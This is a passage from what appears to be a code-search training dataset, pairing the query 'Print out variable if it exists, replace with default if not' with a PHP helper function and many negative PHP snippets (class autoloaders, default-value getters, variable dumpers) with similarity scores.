require_once(BASE_PATH.DS.'libraries'.DS.$file);\r\n \t}", "function medialib_autoloader($class_name)\n{\n $class_name = str_replace('\\\\', '/', $class_name) . '.php';\n require_once $class_name;\n}", "function __autoload($class){\n\t$filename = \"../sys/class/class.\".$class.\".php\";\n\tif(file_exists($filename))\n\t{\n\t\tinclude_once $filename; \n\t}\n}", "function __autoload($class_name)\n{\t\n require_once Conf::$DIRS['LIBS'].'class/'.$class_name.'.class.php';\t\n}", "function autoloadClass($classe)\n{\n require $classe . \".php\";\n}", "function __autoload($class_name) {\n include $class_name . '.php';\n}", "function __autoload($class_name) {\n include $class_name . '.php';\n}", "function __autoload($class_name) {\n include $class_name . '.php';\n}", "function __autoload($class){\nrequire LIBS.$class.\".php\";\n}", "function __autoload($class)\n {\n require_once('core/'.$class.'.php');\n }", "function miAutoload($class_name) {\r\n\tif(file_exists('controllers/' . $class_name . '.php')){\r\n\t\trequire_once 'controllers/' . $class_name . '.php';\r\n\t}else if(file_exists('models/' . strtolower($class_name) . 'Model.php')){\t\t\t\r\n\t\trequire_once 'models/'. strtolower($class_name) .'Model.php';\r\n\t}else echo \"No se puede cargar la clase \".$class_name;\r\n}", "function _autoload($class)\r {\r $class = str_replace(\"\\\\\", \"/\", $class);\r $class = str_replace('yqn/sdkmiddle/', 'src/', $class);\r $file = __DIR__ . '/../' . $class . '.php';\r require_once $file;\r }", "function __autoload($cls){\n\t// automatically folderize underscore-separated words\n\t$fname = str_replace(\"_\", \"/\", $cls);\n\t$f = dirname(__FILE__).\"/services/{$fname}.php\";\n\tif(file_exists($f)){\n\t\tinclude_once($f);\n\t}\n}", "function autoloader($classname){\n $lastSlash = strpos($classname, '\\\\') + 1;\n $classname = substr($classname, $lastSlash);\n $directory = str_replace('\\\\' , '/' , $classname);\n $filename = __DIR__ . '/' . $directory . '.php';\n\n require_once $filename;\n }", "function __autoload($class_name) {\n include '../class/' . $class_name . '.php';\n}", "function __autoload($class_name) {\n include '../class/' . $class_name . '.php';\n}", "public static function AutoLoad(){\n spl_autoload_register(function ($file_name){\n $name = preg_replace('~(.*[\\\\\\\\]([A-Z]\\w+))~im', '$2', $file_name);\n MyAutoload::loadControllers($name);//'HomeController'\n MyAutoload::loadModules($name);//'Controller'\n MyAutoload::loadModules($name);//'Model'\n MyAutoload::loadModules($name);//'Config'\n MyAutoload::loadModels($name);//'Tasks'\n MyAutoload::loadRoutes();//'Tasks'\n });\n }", "function __autoload($class){\n\tif (file_exists(BASE_DIR.DS.'models'.DS.strtolower($class).'.php')){\n\t require_once(BASE_DIR.DS.'models'.DS.strtolower($class).'.php');\n\t} else if (file_exists(BASE_DIR.DS.'controllers'.DS.strtolower($class).'.php')){\n\t require_once(BASE_DIR.DS.'controllers'.DS.strtolower($class).'.php');\n\t} else if (file_exists(BASE_DIR.DS.'utilities'.DS.strtolower($class).'.php')){\n\t require_once(BASE_DIR.DS.'utilities'.DS.strtolower($class).'.php');\n\t}\n\n }", "function __autoload($className)\n\t{\n\t\t// Load class using Loader\n\t\tLoad($className);\n\t}", "function class_autoloader($class_name) {\n include 'classes/' .$class_name . '.php';\n}", "function __autoload($class_name)\n{\n if (file_exists(\"classes/class.$class_name.php\"))\n {\n require_once \"classes/class.$class_name.php\";\n }else{echo'can not load';}\n}", "function __autoload($classname)\n {\n include_once(\"class/\" . $classname . \".class.php\");\n }", "function __autoload($class) {\r\n \r\n $class = strtolower($class);\r\n\r\n\t//if call from within assets adjust the path\r\n $classpath = 'classes/class.'.$class . '.php';\r\n if ( file_exists($classpath)) {\r\n require_once $classpath;\r\n\t} \t\r\n\t\r\n\t//if call from within admin adjust the path\r\n $classpath = '../classes/class.'.$class . '.php';\r\n if ( file_exists($classpath)) {\r\n require_once $classpath;\r\n\t}\r\n\t\r\n\t//if call from within admin adjust the path\r\n $classpath = '../../classes/class.'.$class . '.php';\r\n if ( file_exists($classpath)) {\r\n require_once $classpath;\r\n\t} \t\t\r\n\t \r\n}", "function glu_class_autoloader($c) {\n include dirname(__FILE__). DIRECTORY_SEPARATOR . strtolower($c) . '.php';\n}", "function __autoload($class_name){\n $classname = strtolower($class_name);\n $path = LIB_PATH.DS.\"class.{$classname}.php\";\n if(file_exists($path)){\n require_once \"$path\";\n }else{\n die(\"the file {$classname}.php could not be found\");\n }\n}", "function __autoload($className)\n{\n require_once \"webcore.reflection.php\";\n \n ClassLoader::loadClass($className);\n}", "function __autoload($className){\n include_once \"Classes/$className.php\";\n}", "function loader($class){\n $class_file = DIR. DS . $class . '.php';\n\n if(file_exists($class_file)){\n require_once($class_file);\n }else{\n foreach (AUTOLOAD_CLASSES as $path){\n $class_file = $path . DS . $class . '.php';\n if(file_exists($class_file)) require_once($class_file);\n }\n }\n}", "function __autoload( $className ){\n require_once 'classes/'.$className.'.class.php';\n }", "function __autoload($pClassName) {\r\n if (file_exists($pClassName.'.php')) {\r\n require_once($pClassName.'.php');\r\n return true;\r\n } else if (file_exists('wrapper/'.$pClassName.'.php')) {\r\n require_once('wrapper/'.$pClassName.'.php');\r\n return true;\r\n }\r\n return false; \r\n}", "public static function autoload($class) {\n include $class . '.php';\n}", "static function autoload($class){\n\n require BASEDIR.'\\\\'.str_replace('\\\\', '/', $class).'.php';\n\t}", "function __autoload($nomeClasse)\n{\n include_once './classes/' . $nomeClasse . '.class.php';\n}", "public function autoload($class) {\n if (isset(static::$map[$class])){\n $pathInfo = static::$map[$class];\n Yaf_Loader::import(sprintf('%s%s',$pathInfo[0], $pathInfo[1]));\n } else if (strpos($class, 'Builder') === strlen($class) - 7){\n Yaf_Loader::import(sprintf('%s/application/views/builder/%s.php', APPLICATION_PATH, $class));\n } else if (strpos($class, 'Pagelet') === strlen($class) - 7){\n Yaf_Loader::import(sprintf('%s/application/pagelets/%s.php', APPLICATION_PATH, $class));\n } else if (strpos($class, 'Halo') === 0){\n Yaf_Loader::import(sprintf('%s/halo/%s.php',LIB_PATH,$class));\n } else if (strpos($class, 'Util') == strlen($class) - 4 || strpos($class, 'Utils') == strlen($class) - 5){\n Yaf_Loader::import(sprintf('%s/utils/%s.php',LIB_PATH,$class));\n } else if (strpos($class, 'Model') === strlen($class) - 5){\n Yaf_Loader::import(sprintf('%s/application/models/%s.php',APPLICATION_PATH,$class));\n } else if (strpos($class, 'Service') === strlen($class) - 7){\n Yaf_Loader::import(sprintf('%s/application/service/%s.php',APPLICATION_PATH,$class));\n } else if (strpos($class, 'HTMLPurifier') !== false){\n Yaf_Loader::import(sprintf('%s/htmlpurifier/HTMLPurifier.safe-includes.php',LIB_PATH));\n }else if (strpos($class, 'Api') === strlen($class) - 3){\n Yaf_Loader::import(sprintf('%s/application/Api/%s.php',APPLICATION_PATH,$class));\n }else if (strpos($class, 'Object') === strlen($class) - 6){\n Yaf_Loader::import(sprintf('%s/application/objects/%s.php',APPLICATION_PATH,$class));\n }else if (strpos($class, 'MemCache') === 0){\n// var_dump('================');\n// /Users/worker/php/wk/wcontact_cache/lib/wcontact/MemCacheBase.php\n Yaf_Loader::import(sprintf('%s/wzhaopin/%s.php',LIB_PATH, $class));\n }\n }", "function my_autoloader($class) {\n if ( $class != \"ACF\" )\n include 'classes/' . $class . '.class.php';\n }", "function class_autoloader($class)\n {\n $prefix = 'App\\\\';\n\n $length = strlen($prefix);\n\n $base_directory = base_directory() . '/app/';\n\n //echo $prefix.', '.$class.', '. $length;//die;\n\n if (strncmp($prefix, $class, $length) !== 0) {\n throw new Exception('Namespace does not exists.');\n return;\n }\n\n $class_end = substr($class, $length);\n\n //echo $class.', '.$class_end.', '.$base_directory;\n\n $file = $base_directory . str_replace('\\\\', '/', $class_end) . '.php';\n\n echo 'File included : ' . $file . '<br/>';//die;\n\n if (file_exists($file)) {\n require $file;\n } else {\n throw new Exception('Class : ' . $class . ' does not exists.');\n }\n }", "function __autoload($class) {\n\t$filename = \"sys/class/class.\" .$class. \".inc.php\";\n\tif (file_exists($filename)) {\n\t\tinclude_once($filename);\n\t}\n}", "function __autoload($className) {\n\tglobal $_CLASS_MANIFEST;\n\tif(($pos = strpos($className,'_')) !== false) $className = substr($className,0,$pos);\n\tif(isset($_CLASS_MANIFEST[$className])) include_once($_CLASS_MANIFEST[$className]);\n}", "function __autoload($class){\n\t$class = strtolower($class);\n\t$path = \"include/{$class}.php\";\n\n\t\tif(file_exists($path)){\n\t\t\trequire_once(\"$path\");\n\t\t}\n\t\telse{\n\t\t\tdie(\"{$class}.php dose not exists.\");\n\t\t}\n}", "function __autoload($className){\n\t\tif(file_exists(DOCUMENTROOT.'/classes/class.'.$className.'.php')){\n\t\t\tinclude_once(DOCUMENTROOT.'/classes/class.'.$className.'.php');\n\t\t}\n\t}", "function myAutoLoader($class) {\n\t$path = TRITON_INSTALL_PATH . \"/src/{$class}/{$class}.php\";\n\tif(is_file($path)) {\n\t\tinclude($path);\n\t} else {\n\t\tthrow new Exception(\"Classfile '{$class} does not exist.\");\n\t}\n}", "function myAutoLoader($class) {\n\t$path = TRITON_INSTALL_PATH . \"/src/{$class}/{$class}.php\";\n\tif(is_file($path)) {\n\t\tinclude($path);\n\t} else {\n\t\tthrow new Exception(\"Classfile '{$class} does not exist.\");\n\t}\n}", "function __autoload($class_name) {\n include \"classes/\" . $class_name . \".class.php\";\n}", "function __autoload($class)\n{\n $fileName = __DIR__ . '/' . str_replace('\\\\', '/', $class) . '.php';\n include ($fileName);\n}", "function __autoload($class) {\n\t\n\tglobal $_;\n\n try {\n if(file_exists('classes/class.'.$class.'.php'))\n {\n require 'classes/class.'.$class . '.php';\n }\n else\n {\n \t$error = sprintf($_['e_class'], 'classes/class.'.$class.'.php');\n throw new Exception($error);\n }\n } catch(Exception $e)\n {\n die($e->getMessage());\n }\n}", "function __autoload($class_name) {\n\t\t$class_name = strtolower($class_name);\n\t $path = LIB_PATH.DS.\"{$class_name}.php\";\n\t if(file_exists($path)) {\n\t\trequire_once($path);\n\t } else {\n\t\t\tdie(\"The file {$class_name}.php could not be found.\");\n\t\t}\n\t}", "function __autoload($class)\n{\n require LIBS.$class.\".php\";\n}", "function __autoload($classname)\n{\n $classpart = explode('\\\\',$classname);\n if (false==strpos('//',$classname)):\n $classpart = explode('\\\\',$classname);\n if ('App' == $classpart[0]):\n unset($classpart[0]);\n $load = __DIR__ . '/' . implode('/', $classpart) . '.php';\n echo $load . '<br>';\n require $load;\n endif;\n endif;\n}", "public function __load();", "function __autoload ( $class_name )\n {\n include '../' . $class_name . '.php';\n }", "function autoload($class_name)\n{\n $exp_arr = explode('_', $class_name);\n if (count($exp_arr) === 1) {\n $folder = 'core';\n } else {\n $n = array_pop($exp_arr);\n $folder = $n . ($n[strlen($n) - 1] == 's' ? 'es' : 's');\n }\n switch($folder) {\n case \"controllers\":\n $arr = explode('_', $class_name);\n $sub_folder = array_shift($arr);\n $class_file = PROTECTED_DIR . $folder . DS . PROJECT . DS . $sub_folder . DS . $class_name . '.php';\n break;\n case \"helpers\":\n case \"templates\":\n $class_file = PROTECTED_DIR . $folder . DS . PROJECT . DS . $class_name . '.php';\n break;\n default:\n $class_file = PROTECTED_DIR . $folder . DS . $class_name . '.php';\n break;\n }\n if (file_exists($class_file)) {\n require_once($class_file);\n }\n}", "function autoloader()\n {\n spl_autoload_register(function ($className) {\n\n # DIRECTORY SEPARATORS varies in various platforms\n $ds = DIRECTORY_SEPARATOR;\n\n # Current Working Directory\n $dir = __DIR__;\n\n # replace namespace separator with directory separator (prolly not required)\n $className = str_replace('\\\\', $ds, $className);\n\n # get full name of file containing the required class\n $file = \"{$dir}{$ds}{$className}.php\";\n\n # get file if it is readable\n if (is_readable($file)) {\n require_once $file;\n }\n });\n }", "function __autoload($class_name) {\n include 'classes/' . $class_name . '.php';\n}", "function __autoload($className) {\n \trequire_once 'config.inc.php';\n require_once ROOT_PATH . '/includes/'. ucfirst($className) .'.class.php'; //自动加载 class 文件 \n}", "function __autoload($classname){\n\t$file=\"$classname.php\";\n\tif(is_file($file)) require_once $file;\n\telse die('Class not found.');\n}", "function __autoload($className)\n{\n if (file_exists($className . \".php\"))\n require_once $className . \".php\";\n else {\n die(\"Class not found! $className\");\n }\n}", "function __autoload($classname) {\n\t\t$filename = \"./\". $classname .\".php\";\n\t\tinclude_once($filename);\n\t}", "function __autoload($className){\n if (file_exists(\"core/$className.php\")){\n include_once \"core/$className.php\";\n }\n}", "function __autoload($classname)\n {\n classesAutoload($classname);\n }", "function autoloadclass($scriptName) {\r\n if (substr($scriptName, -4, 4)==\".php\")\r\n $scriptName=substr($scriptName,0,strlen($scriptName)-4);\r\n if (substr($scriptName, -4, 4)==\".class\")\r\n $scriptName=substr($scriptName,0,strlen($scriptName)-4);\r\n $explodedName = explode(\"/\", $scriptName);\r\n $className = $explodedName[count($explodedName)-1];\r\n $scriptName=\"./\".$scriptName.\".class.php\";\r\n \r\n if (file_exists($scriptName)){\r\n include_once($scriptName);\r\n return new $className;\r\n }else\r\n throw new Exception(\"Unable to load class $scriptName\");\r\n}", "function classes_autoloader($class) {\n\t\n\t$subforder = '';\n\t\n\tif (substr($class, -9) === 'Converter') {\n\t\t$subforder = 'converters/';\n\t} else if (substr($class, -4) === 'Skin') {\n\t\t$subforder = 'skins/';\n\t} else if (substr($class, -5) === 'Model') {\n\t\t$subforder = 'models/';\n\t} else if (substr($class, -9) === 'Validator') {\n\t\t$subforder = 'validators/';\n\t} else if (substr($class, -10) === 'Controller') {\n\t\t$subforder = 'actions/';\n\t} else if (substr($class, -7) === 'Service') {\n\t\t$subforder = 'services/';\n\t} else if (substr($class, -3) === 'Job') {\n\t\t$subforder = 'jobs/';\n\t} else if (substr($class, -11) === 'LoginMethod') {\n\t\t$subforder = 'loginmethods/';\n\t} else if (substr($class, -5) === 'Event') {\n\t\t$subforder = 'events/';\n\t} else if (substr($class, -6) === 'Plugin') {\n\t\t$subforder = 'plugins/';\n\t}\n\t\n\t@include(BASE_FOLDER . '/classes/' . $subforder . $class . '.class.php');\n}" ]
[ "0.79188704", "0.7874849", "0.7790317", "0.7783744", "0.7773191", "0.77228814", "0.7718594", "0.7705145", "0.7700553", "0.7685271", "0.7684943", "0.76825035", "0.7679246", "0.766934", "0.76639944", "0.7659072", "0.7655583", "0.7639766", "0.76128006", "0.76021534", "0.757867", "0.7559755", "0.7550982", "0.7548553", "0.75432706", "0.753432", "0.75270665", "0.7516822", "0.7515418", "0.74973786", "0.74895287", "0.7486515", "0.7481194", "0.74789923", "0.7478087", "0.7473313", "0.74720025", "0.7462057", "0.7456798", "0.7455831", "0.7453876", "0.74477184", "0.74471813", "0.74467254", "0.7439946", "0.7439946", "0.7439946", "0.7426625", "0.7426058", "0.741361", "0.7406097", "0.7405929", "0.74037075", "0.7399132", "0.7399132", "0.7389869", "0.73885745", "0.7384591", "0.7384236", "0.738062", "0.7375278", "0.73731977", "0.73691565", "0.7363919", "0.7363893", "0.7350945", "0.7348483", "0.73409605", "0.7337299", "0.7332982", "0.73320585", "0.73233044", "0.7320558", "0.7318329", "0.73159915", "0.73151314", "0.73138547", "0.73133063", "0.7310881", "0.73044723", "0.73044723", "0.73030245", "0.72906655", "0.72902226", "0.7289279", "0.72879136", "0.72837454", "0.72805524", "0.72782505", "0.7278221", "0.7276613", "0.727318", "0.72729445", "0.7263768", "0.7263125", "0.7259257", "0.7258464", "0.7257586", "0.72564167", "0.7255053" ]
0.7372281
62
Print out variable if it exists, replace with default if not
function print_tag($var, $default = '&mdash;') { echo isset($var) ? $var : $default; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function printIf(&$var, $default = '') {\n print isset($var) ? $var : $default;\n}", "function progress_default_value(&$var, $def = null) {\n return isset($var)?$var:$def;\n}", "public function getDefault($var);", "final private function printVariable($type, $name, $default){\n\t\t$return=$default;\n\t\t$source=false;\n\t\t$types=array(\n\t\t\t\t'get'=>$_GET,\n\t\t\t\t'post'=>$_POST,\n\t\t\t\t'session'=>(!empty($_SESSION) ? $_SESSION : null),\n\t\t\t\t'server'=>$_SERVER,\n\t\t\t\t'cookie'=>$_COOKIE,\n\t\t\t\t'files'=>$_FILES,\n\t\t\t\t'request'=>$_REQUEST,\n\t\t\t\t'env'=>$_ENV,\n\t\t\t\t);\n\t\tif(isset($types[$type])){\n\t\t\t$source=$types[$type];\n\t\t}\n\t\telse{\n\t\t\tthrow new Exception('Unknown type of data source \"'.$type.'\".');\n\t\t}\n\t\tif($source){\n\t\t\t$return=(!empty($source[$name]) ? $source[$name] : $default);\n\t\t}\n\t\treturn $return;\n\t}", "function ifenr($var, $default = null) {\n\tif (empty($var)) {\n\t\treturn $default;\n\t}\n\n\treturn $var;\n}", "public static function variable_get($name, $default = NULL) {\n switch ($name) {\n case 'https':\n return FALSE;\n }\n\n if ($default) {\n return $default;\n }\n\n return 'placeholder';\n }", "protected function attrDefault($variable, $default)\n {\n $value = isset($this->variables[$variable]) ? $this->variables[$variable] : $default;\n echo \"{$variable}=\\\"{$value}\\\"\";\n }", "function default_value(&$var, $def = null) {\n return isset($var)?$var:$def;\n}", "function getOrDefault($var, $default) {\n return (isset($_GET[$var])) ? $_GET[$var] : $default;\n}", "function defaults(&$var, $value) {\n isset($var) || $var = $value;\n}", "function issetor(&$variable, $placeholder = ''){\n if(isset($variable)){\n return $variable;\n } else {\n return $placeholder;\n }\n}", "public function getVariable($name, $default = null);", "function usp_ews_default_value(&$var, $def = null) {\n return isset($var)?$var:$def;\n}", "function echo_var($var, $type='str')\n\t{\n\t\tif(exists($var))\n\t\t\techo $var;\n\t\telse\n\t\t\tswitch($type)\n\t\t\t{\n\t\t\t\tcase 'str':\n\t\t\t\t\techo '';\n\t\t\t\t\tbreak;\n\t\t\t\tcase 'num':\n\t\t\t\t\techo 0; \n\t\t\t\t\tbreak;\n\t\t\t}\t\n\t}", "function safe_retrieve($varname, $default='', $null_is_default=false) {\n $arr = array(&$_REQUEST, &$_SESSION, &$_SERVER, &$_ENV);\n foreach ( array_keys($arr) as $key ) {\n if ( is_array($arr[$key]) && \n\t array_key_exists($varname, $arr[$key]) &&\n\t ( ($arr[$key][$varname] != null) || (!$null_is_default) ) ) \n return $arr[$key][$varname];\n }\n // $varname not found or \n // value null and $null_is_default == true\n return $default;\n}", "function coalesce(&$var, $default = null)\r\n {\r\n return isset($var) && !is_null($var) ? $var : $default;\r\n }", "public function ifVariableSet(&$variable, $defaultValue = null)\n {\n if(isset($variable)){\n return $variable;\n } else {\n return $defaultValue;\n }\n }", "function locale_variable_language_default_format($variable, $options = array()) {\n return !empty($variable['value']) ? check_plain($variable['value']->name) : t('None');\n}", "function ife( & $var, $default = null, $allow_empty = true, $change_reference = false) {\n\tif ( ! isset($var) || ( ! (bool) $allow_empty && empty($var))) {\n\t\tif ((bool) $change_reference) {\n\t\t\t$var = $default; // so it can also be used by reference\n\t\t}\n\n\t\treturn $default;\n\t}\n\n\treturn $var;\n}", "function setDefaultValue($var, $val)\n{\n\tif (!array_key_exists($var, $GLOBALS))\n\t{\n\t\t$GLOBALS[$var] = $val;\n\t}\n}", "private function maybe_print_message( $message, $default ) {\n\t\treturn ! empty( $message ) ? $message : $default;\n\t}", "function VariableValue($variableName, $value = UNDEFINED);", "public static function get(&$var, $default = null)\n {\n if (isset($var)) {\n return $var;\n }\n return $default;\n }", "function wpv_default($value, $default) {\n\tif (empty($value))\n\t\treturn $default;\n\treturn $value;\n}", "function smarty_function_echo($params, &$smarty)\n{\n if(isset($smarty->parent->tpl_vars[$params['var']]))\n {\n return $smarty->parent->tpl_vars[$params['var']]->value;\n }\n return isset($params['default'])?$params['default']:\"\";\n}", "function PageVariableValue($variableName, $value = UNDEFINED);", "function dump2(&$variable, $info = false) {\n $backup = $variable;\n $variable = $seed = md5(uniqid() . rand());\n $variable_name = 'unknown';\n foreach ($GLOBALS as $key => $value) {\n if ($value === $seed) { $variable_name = $key; }\n }\n $variable = $backup;\n\n echo '<pre style=\"\n font: 9pt sans-serif;\n text-align: left;\n margin: 25px;\n display: block;\n background: white;\n color: black;\n border:1px solid #ccc;\n padding:5px;\n margin: 25px;\n font-size: 11px;\n line-height: 14px;\n \">';\n\n $info = ($info) ? $info : '$' . $variable_name;\n echo '<b style=\"color:red;\">' . $info . ':</b><br>';\n do_dump($variable, '$' . $variable_name);\n echo '<b style=\"color:red;\">End ' . $info . '</b></pre>';\n}", "function safe_retrieve_gp($varname, $default='', $null_is_default=false) {\n if ( is_array($_REQUEST) && \n array_key_exists($varname, $_REQUEST) &&\n ( ($_REQUEST[$varname] != null) || (!$null_is_default) ) ) \n return $_REQUEST[$varname];\n return $default;\n}", "private function assign_if_global_off($match){\r\n\r\n\t\tif(isset($this->vars[trim($match[1])])){\r\n\t\t\treturn '<?php print $this->vars[\\'' . $match[1] . '\\'];?>';\r\n\t\t}else{\r\n\t\t\treturn \"{\" . $match[1] . \"}\";\r\n\t\t}\r\n\t\t\r\n\t}", "function safeGetVar($varName, $default=null)\n{\n if (isset($_GET[$varName]))\n return $_GET[$varName];\n else\n return $default;\n}", "function set_or_empty($a)\n{\n\tif (isset($a)) {\n\t\techo \"Variable is set\" . PHP_EOL;\n\t} else {\n\t\techo \"Variable is empty\" . PHP_EOL;\n\t}\n\treturn;\n}", "static public function setDefault($key, $value)\r\n {\r\n /* If there is no such variable yet, set the value */\r\n if(!self::has($key))\r\n {\r\n self::set($key, $value);\r\n }\r\n }", "function get_url_param( $variable, $default='' )\n {\n return !empty( $_GET[ $variable ] )?$_GET[ $variable ]:$default;\n }", "function ifer( & $var, $default = null, $allow_empty = true) {\n\treturn ife($var, $default, $allow_empty, true);\n}", "public function debugprint($variable,$desc=\"\",$exit=0) {\n\t}", "public function variable_get($name, $default = NULL) {\n // TODO\n return variable_get($name, $default);\n }", "public function display($varName , $defVaule = null)\n {\n\n if (isset($this->{$varName}) && !is_null($this->{$varName})) {\n return '\\\\setkomavar{'.$varName.'}{'.$this->{$varName}.'}'.NL;\n } elseif (!is_null($defVaule)) {\n return '\\\\setkomavar{'.$varName.'}{'.$defVaule.'}'.NL;\n } else {\n return null;\n }\n\n }", "function getVariable($nombre, $default = '') {\r\n\tif (isset($_POST[$nombre])) {\r\n\t\treturn $_POST[$nombre];\r\n\t} elseif(isset($_GET[$nombre])) {\r\n\t\treturn $_GET[$nombre];\r\n\t} else {\r\n\t\treturn $default;\r\n\t}\r\n}", "function get($varname, $default = false)\n {\n $getval = $this->sec->clean($this->unsafeGet($varname, false));\n if ($getval === false) {\n return $default;\n }\n\n return $getval;\n }", "function dump( $var, $conditional_var = '' ) {\r\n\tif ( empty( $conditional_var ) || isset( $_GET[ $conditional_var ] ) ) {\r\n\t\techo \"<pre>\";\r\n\t\tvar_dump( $var );\r\n\t\techo \"</pre>\";\r\n\t}\r\n}", "protected function getSiteVar($var, $default=null, $opts=Config::LOG_ERRORS) {\n $value = $GLOBALS['siteConfig']->getVar($var, $opts | Config::EXPAND_VALUE);\n return is_null($value) ? $default :$value;\n }", "protected static function display_default($defaultvalue) {\n if ($defaultvalue === null) {\n return '-';\n } else {\n return \"'\" . s($defaultvalue) . \"'\";\n }\n }", "function define_default($param, $value) {\n\t\t//\n\t}", "function get_value_or_default($value,$default='')\n{\n\treturn (!empty($value)) ? $default : $value;\n}", "function xkit_the_theme_option( $field_name, $default = '' ){\n\tprint xkit_get_theme_option( $field_name, $default );\n}", "function getTitle(){\n\n global $title;\n if (isset($title)) {\n echo $title;\n }else {\n echo \"Default\";\n }\n}", "function dump(&$var, $info = FALSE)\n{\n\t$scope = false;\n\t$prefix = 'unique';\n\t$suffix = 'value';\n\n\tif($scope) $vals = $scope;\n\telse $vals = $GLOBALS;\n\n\t$old = $var;\n\t$var = $new = $prefix . rand() . $suffix; $vname = FALSE;\n\tforeach($vals as $key => $val) if($val === $new) $vname = $key;\n\t$var = $old;\n\n\techo \"<pre style='margin: 0px 0px 10px 0px; display: block; background: white; color: black; font-family: Verdana; border: 1px solid #cccccc; padding: 5px; font-size: 10px; line-height: 13px;'>\";\n\tif($info != FALSE) echo \"<b style='color: red;'>$info:</b><br>\";\n\tdo_dump($var, '$'.$vname);\n\techo \"</pre>\";\n}", "function initVar(&$var){\n\t\treturn isset($var) ? $var :null;\n\t}", "protected function getModuleVar($var, $default=null, $opts=Config::LOG_ERRORS) {\n $config = $this->getModuleConfig();\n $value = $config->getVar($var, Config::EXPAND_VALUE| $opts);\n return is_null($value) ? $default :$value;\n }", "function variable_check($var) {\n\t\t\n\t\t// is variable set?\n\n\t\tif (isset($var)) {\n\t\t\treturn \"$var is set \\n\";\n\t\t}\n\t\t\n\t\telseif (empty($var)) {\n\t\t\treturn \"$var is not set \\n\";\n\t\t}\n\t\n\n}", "public function unsafeGet($varname, $default = false)\n\t{\n\t\tif(isset($this->getvars[$varname])) {\n\t\t\treturn $this->getvars[$varname];\n\t\t} else {\n\t\t\treturn $default;\n\t\t}\n\t}", "public function getVar($name, $default = \"variable is not set\"): string\n {\n\n if (getenv($name) != false) {\n return getenv($name);\n } else {\n return $default;\n }\n\n }", "function defval (&$val,$default_val) {\r\n\t\tif (!isset($val) || ''==$val) {\r\n\t\t\t$val=$default_val;\r\n\t\t} elseif ('NULL' == $val) {\r\n\t\t\t$val='';\r\n\t\t}\r\n\r\n\t\tif (ereg(\"^%([^\\[]+)\\[(.+)\\]%$\",$val,$regs) ) {\r\n\t\t\t$val=$this->{$regs[1]}[$regs[2]];\r\n\t\t}\r\n\t}", "public function getOrElse($default);", "function globalvariable($name, $tooltiptext, $first = false){\n if(!$first){ echo \", \";}\n $tooltiptext = str_replace(\"*\", \" (for debugging purposes)\", $tooltiptext);\n echo '<SPAN TITLE=\"' . $tooltiptext . '\">%' . $name . \"%</SPAN>\";\n}", "private function getDefaultParameter($params, $var, $default = null)\n {\n return isset($params[$var]) ? $params[$var] : $default;\n }", "public static function systemVar(string $key, &$outVar, $default = '')\n {\n $outVar = self::system($key, $default);\n\n return self::$found;\n }", "function GetVar($name, $default_value = false) {\r\n if (!isset($_GET)) {\r\n return false;\r\n }\r\n if (isset($_GET[$name])) {\r\n if (!get_magic_quotes_gpc()) {\r\n return InjectSlashes($_GET[$name]);\r\n }\r\n return $_GET[$name];\r\n }\r\n return $default_value;\r\n}", "function d($var, $var_name = null) {\n?>\n <pre style=\"word-wrap: break-word; white-space: pre; font-size: 11px;\">\n<?php\n if (isset($var_name)) {\n echo \"<strong>$var_name</strong>\\n\";\n }\n if (is_null($var) || is_string($var) || is_int($var) || is_bool($var) || is_float($var)) {\n var_dump($var);\n } else {\n print_r($var);\n }\n?>\n </pre><br>\n<?php\n}", "function safePostVar($varName, $default=null)\n{\n if (isset($_POST[$varName]))\n return $_POST[$varName];\n else\n return $default;\n}", "function replaceDefaultHook($str) {\n global $default_hooks, $default_replace;\n return (str_replace($default_hooks, $default_replace, $str));\n}", "function is_set($variable, $value = '') {\n return isset($variable)?$variable:$value;\n}", "public function printVar($varName) {\n if ( isset($this->templateVars[$varName]) ) {\n echo $this->templateVars[$varName];\n }\n }", "function ifset(&$var)\n{\n\treturn isset($var) ? $var : null;\n}", "function get_query_var($query_var, $default_value = '')\n {\n }", "function LT_request($variable, $default) {\n\tglobal $LT_SQL;\n\tif (array_key_exists($variable, $_REQUEST))\n\t\treturn $LT_SQL->real_escape_string($_REQUEST[$variable]);\n\telse\n\t\treturn $LT_SQL->real_escape_string($default);\n}", "public function getStringForDefault($string);", "private function getVarSess($name, $defaultvalue=null) {\n\t\tif (array_key_exists($name, $_SESSION))\n\t\t\treturn $_SESSION[$name];\n\t\treturn $defaultvalue;\n\t}", "function variableGetFromStruct($var, $field, $default = '', $set = false) {\n $arr = variable_get($var);\n if ($arr && isset($arr[$field])) {\n return $arr[$field];\n } else {\n if ($default && $set) {\n variable_set($var, $default);\n }\n return $default;\n }\n}", "function dump($variable)\n {\n // dump variable using some quick and dirty (albeit invalid) XHTML\n if (!$variable && !is_numeric($variable))\n print(\"Variable is empty, null, or not even set.\");\n else\n print(\"<pre>\" . print_r($variable, true) . \"</pre>\");\n\n // exit immediately so that we can see what we printed\n exit;\n }", "public function getDefault();", "function safePostGetVar($varName, $default=null)\n{\n if (isset($_POST[$varName]))\n return $_POST[$varName];\n elseif (isset($_GET[$varName]))\n return $_GET[$varName];\n else\n return $default;\n}", "function getTitle(){\n global $pageTitle;\n if(isset($pageTitle)) echo $pageTitle;\n else echo 'Default';\n\n}", "function InputHiddenBox($VariableName,$default)\t{\n\t\t\t$res=\"\";\n\t\t\t$res.=\"<input type=\\\"hidden\\\" name=\\\"$VariableName\\\" id=\\\"$VariableName\\\" value=\\\"$default\\\">\";\n\t\t\treturn $res;\n\t}", "function cspm_get_field_default($option_id, $default_value = ''){\r\n\t\t\t\r\n\t\t\t/**\r\n\t\t\t * We'll check if the default settings can be found in the array containing the \"(shared) plugin settings\".\r\n\t\t\t * If found, we'll use it. If not found, we'll use the one in [@default_value] instead. */\r\n\t\t\t \r\n\t\t\t$default = $this->cspm_setting_exists($option_id, $this->plugin_settings, $default_value);\r\n\t\t\t\r\n\t\t\treturn $default;\r\n\t\t\t\r\n\t\t}", "function app_contact_get_var($val = '', $default = '') {\n return !isset($_REQUEST[$val]) ? $default : trim($_REQUEST[$val], ' <>');\n}", "function get_var($value) {\n\t\tglobal $agi;\n\n\t\t$r = $agi->get_variable( $value );\n\t\tif ($r['result'] == 1) {\n\t\t\t$result = $r['data'];\n\t\t\treturn trim($result);\n\t\t}\n\t\treturn '';\n\t}", "function replaceDefaultHook($str)\r\n{\r\n\tglobal $default_hooks,$default_replace;\t\r\n\treturn (str_replace($default_hooks,$default_replace,$str));\r\n}", "protected static function getItem($var, $key, $default = '') {\n\t\t\t\treturn is_object($var) 